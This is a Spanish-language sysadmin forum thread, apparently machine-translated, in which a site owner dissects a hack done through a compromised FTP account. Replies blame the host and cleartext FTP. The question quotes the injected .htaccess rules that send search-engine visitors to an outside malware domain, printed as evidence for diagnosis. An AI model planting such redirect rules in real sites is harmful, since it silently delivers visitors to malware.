8 votos

Disección de un ataque al sitio web a través de una cuenta FTP comprometido

Mi sitio ha sido hackeado y en este punto, sé que algunos detalles, pero estoy en una pérdida exactamente cómo sucedió o cómo evitarlo en el futuro. Necesito su ayuda para intentar diseccionar el ataque, así que no puedo evitar que suceda de nuevo. Este es un poco largo, pero quiero asegurarme de que puedo dar suficiente información para ayudar a resolver el problema.

Esto es lo que sucedió.

Hace un par de semanas, recibí un correo de mi empresa de hosting de GoDaddy, diciendo que mi sitio estaba usando demasiados recursos y que se espera que una consulta de MySQL fue el culpable. La consulta en cuestión era una consulta de búsqueda que había 5-6 términos. La forma en que yo había creado, los términos más buscado, el más complejo de la consulta se convirtió. No hay problema. Me fijo, pero al mismo tiempo, GoDaddy también clausuró temporalmente mi cuenta y fue alrededor de 3 días antes de que todo había vuelto a la normalidad.

Después de ese incidente, mi tráfico de motores de búsqueda caído dramáticamente, alrededor de 90%. Era una mierda, por que yo no creo que nada de él, escribiendo a la consulta fiasco y pensando que iba a volver en el tiempo como Google recrawled el sitio. No.

Hace un par de días, recibí un correo electrónico de un usuario diciendo que mi sitio era el anfitrión de malware. He cargado el sitio directamente en mi navegador, pero no se ve nada inyecta en la página. Entonces revisé mi .htaccess y encontrado el siguiente:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*bing.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*excite.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC]
RewriteRule .* http://sokoloperkovuskeci.com/in.php?g=584 [R,L]
</IfModule>

Lindo. Y un poco tortuoso. Navegar directamente a la página desde la barra de direcciones o un marcador, lo que suele hacer, iba a cargar el sitio como normal. Rara vez alguna vez me he de ir a mi sitio a través de un enlace desde un motor de búsqueda, es por eso que el hack no fue detectado durante todo ese tiempo. El malware también no estaba alojado directamente en mi sitio.

Una búsqueda rápida mostró que otras personas estaban teniendo el mismo problema, aunque tengo la sospecha de que hay un montón más que no han detectado todavía. La mayoría de las recomendaciones para actualizar a las últimas versiones del software, cambio de contraseñas, etc.

Como yo uso mi propio personalizado sistema de gestión de contenido y no el omnipresente Wordpress, cavé un poco más. He escaneado todos mis archivos para el común de las funciones en PHP explota: base64_decode, exec, shell, etc... Nada sospechoso de cumplir y no los archivos adicionales que se presente.

Me viene marcada la GoDaddy administrador de archivos de la historia y se encontró que de que los .htaccess archivo fue cambiado exactamente en la misma fecha como cuando mi consulta de búsqueda fue acusado de usar demasiados recursos del servidor. Podría ser una coincidencia desafortunada, pero no estoy completamente seguro. La redirección en el .htaccess no parece un uso intensivo de recursos y la consulta fue lo suficientemente complejo que podría haber sido de uso intensivo de recursos.

Yo quería estar seguro de que mi código no era el problema, así que he comprobado los registros de tráfico en busca de actividad sospechosa en todo el tiempo que el .htaccess archivo fue modificado, pero no veo ninguna GET o POST actividad que parecía anormal o como un intento de hack.

Por último, he solicitado el FTP registros de GoDaddy y se encontró que no estaba autorizado el acceso FTP en el momento de la .htaccess archivo fue cambiado. Yo estaba de vacaciones en el momento en que, con mi equipo físicamente cerrado, y no hay nadie más con las credenciales de acceso. Parece que quien FTP había usado el principal usuario de FTP para la cuenta, pero con una IP de 91.220.0.19, que parece que es de Letonia.

En hosting compartido, parece GoDaddy asigna automáticamente un principal de FTP nombre de usuario basada en la URL del sitio. Es muy predecible, o al menos, que fue cuando puedo configurar mi cuenta de hosting. Me inscribí para la cuenta de hosting hace varios años, por lo que puede haber cambiado, pero de lo que recuerdo, yo no era capaz de elegir la primaria nombre de usuario FTP. En la actualidad, también son incapaces de cambiar el nombre de usuario y suena como GoDaddy es imposible, a menos que usted cancele su cuenta y dimitir. Mientras que usted puede crear, eliminar y editar otros usuarios de FTP, el principal usuario de FTP no puede ser eliminado. Sólo se puede modificar la contraseña.

Con la excepción de la primaria nombre de usuario FTP, todas las credenciales de acceso para el sitio, la base de datos, el administrador, y la cuenta son galimatías, al azar los nombres de usuario y contraseñas que se parecen a su gato caminó en su teclado. Ex: lkSADf32!$asJd3.

He exploró a fondo mi equipo en busca de virus, malware, etc. en el caso de que el punto débil en el enlace, pero nada se ha convertido en todo. Yo uso un firewall, un programa anti-virus, y tratar de utilizar la caja fuerte de sus hábitos de navegación.

Cuando puedo actualizar mi sitio, yo uso Core FTP lite y un servidor SSH/SFTP conexión. La cuenta de hosting es una instalación de Linux.

En hablar con GoDaddy soporte técnico, que no está seguro de cómo la contraseña de FTP se vea comprometida. En hosting compartido, no son capaces de colocar un bloque de direcciones IP en el FTP de nivel de usuario. También son capaces de cambiar la primaria nombre de usuario FTP. Cuando le pregunté si ellos tienen la fuerza bruta de la protección de todo acceso FTP, la tecnología sonaba insegura al principio, pero luego dijo que lo hicieron después volvía a repetir un par de veces. Sin embargo, creo que recuerdo preguntando la misma pregunta en una llamada anterior y de la audiencia que GoDaddy no tiene la fuerza bruta de protección en el acceso FTP. En este punto, no sé si lo hacen o no.

He cambiado todas mis credenciales de acceso a través de la junta y también prohibió el letón dirección IP con el .htaccess (probablemente no va a hacer una diferencia si se está usando FTP), pero todavía no estoy seguro de cómo la contraseña de FTP se ha visto comprometida, para empezar.

Estoy bastante seguro de que el problema no era con mi código (incluso si fue así, el FTP info no han sido expuestos) o con mi equipo. Lo que sospecho, pero no saben cómo demostrar, es que la contraseña de FTP fue ataque de fuerza bruta como el nombre de usuario era previsible. El ataque de fuerza bruta también podría haber coincidido con el servidor de recursos que están siendo utilizados (culpa de mi consulta), pero no sé lo suficiente de la parte técnica de los servidores saber si es posible o incluso probable.

Ahora me siento como que estoy en el final de lo que yo sé qué hacer. Me gustaría ser capaz de entender cómo el ataque fue llevado a cabo y cómo prevenirlo, así que si tienes más ideas sobre los vectores de ataque, los diagnósticos que se podrían ejecutar, o medidas de seguridad adicionales, le estaría muy agradecido. Estoy más que dispuesto a cambiar los anfitriones o zanja de hosting compartido, pero quiero asegurarme de que puede evitar que esto suceda de nuevo.

Ayúdame, Obi-Wan Kenobi...

7voto

Shane Madden Puntos 81409

Algo twinged como familiar, mientras que la lectura a través de tu post. Se me ocurrió que yo había visto esto antes, hace más de un mes, cuando se intenta acceder a un sitio para un juego. Ver aquí - mismo comportamiento, la acción de redirección tomada justo en el motor de búsqueda de referentes.

El nombre de dominio en su .htaccess resultaba familiar porque mi ordenador de casa del antivirus habían hecho los ruidos fuertes acerca de lo que me hace semanas.

Y, no lo sabes, el anfitrión del sitio que yo había observado esto? GoDaddy.

Creo que no tienes por ataque de fuerza bruta o tuvo su contraseña en peligro por culpa de su propio; creo que GoDaddy fue el peligro aquí. Y yo no lo pondría por delante de ellos para almacenar las contraseñas de FTP en texto sin formato. Algo más de la excavación encontrado este artículo que sugiere el mismo; la fuerza bruta de protección puede ser el menor de sus problemas.

6voto

MDMarra Puntos 81543

Fácil! No utiliza FTP. Transmite las credenciales en texto sin formato y transmite todos los datos en texto plano. Es una de las maneras más inseguras para transferir archivos. Si su anfitrión no es compatible con cualquier otra manera, encontrar un nuevo host.

EnMiMaquinaFunciona.com

EnMiMaquinaFunciona es una comunidad de administradores de sistemas en la que puedes resolver tus problemas y dudas.
Puedes consultar las preguntas de otros sysadmin, hacer tus propias preguntas o resolver las de los demás.

Powered by: